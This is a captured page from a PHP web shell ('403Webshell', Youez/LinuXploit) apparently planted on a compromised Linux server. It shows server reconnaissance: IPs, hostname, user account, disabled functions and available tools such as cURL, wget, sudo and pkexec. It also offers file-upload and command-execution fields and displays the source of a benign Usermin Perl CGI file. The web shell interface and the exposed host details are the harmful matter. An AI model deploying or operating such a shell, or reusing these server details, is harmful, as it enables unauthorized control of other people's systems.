403Webshell
Server IP : 172.67.134.114  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/usermin/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/usermin/proc/index_run.cgi
#!/usr/bin/perl
# index_run.cgi
# Allows running of a new command

require './proc-lib.pl';
if (!$access{'run'}) {
	&redirect("index_tree.cgi");
	}
use Config;
&ui_print_header(undef, $text{'index_title'}, "", "run", !$no_module_config, 1);
&ReadParse();
&index_links("run");

print &ui_form_start("run.cgi", "post");
print &ui_table_start(undef, undef, 2);

# Command to run
print &ui_table_row(&hlink($text{'run_command'}, "cmd"),
	&ui_textbox("cmd", undef, 40)." ".
	&ui_submit($text{'run_submit'}));

# Foreground mode
print &ui_table_row(&hlink($text{'run_mode'}, "mode"),
	&ui_radio("mode", 0, [ [ 1, $text{'run_bg'} ],
			       [ 0, $text{'run_fg'} ] ]));

# Run as user
if (&supports_users()) {
	if ($< == 0) {
		print &ui_table_row(&hlink($text{'run_as'}, "runas"),
			&ui_user_textbox("user", $default_run_user));
		}
	else {
		print &ui_hidden("user", $remote_user),"\n";
		}
	}

# Input to command
print &ui_table_row(&hlink($text{'run_input'}, "input"),
	&ui_textarea("input", undef, 5, 60));
print &ui_table_end();
print &ui_form_end();

&ui_print_footer("/", $text{'index'});

Youez - 2016 - github.com/yon3zu
LinuXploit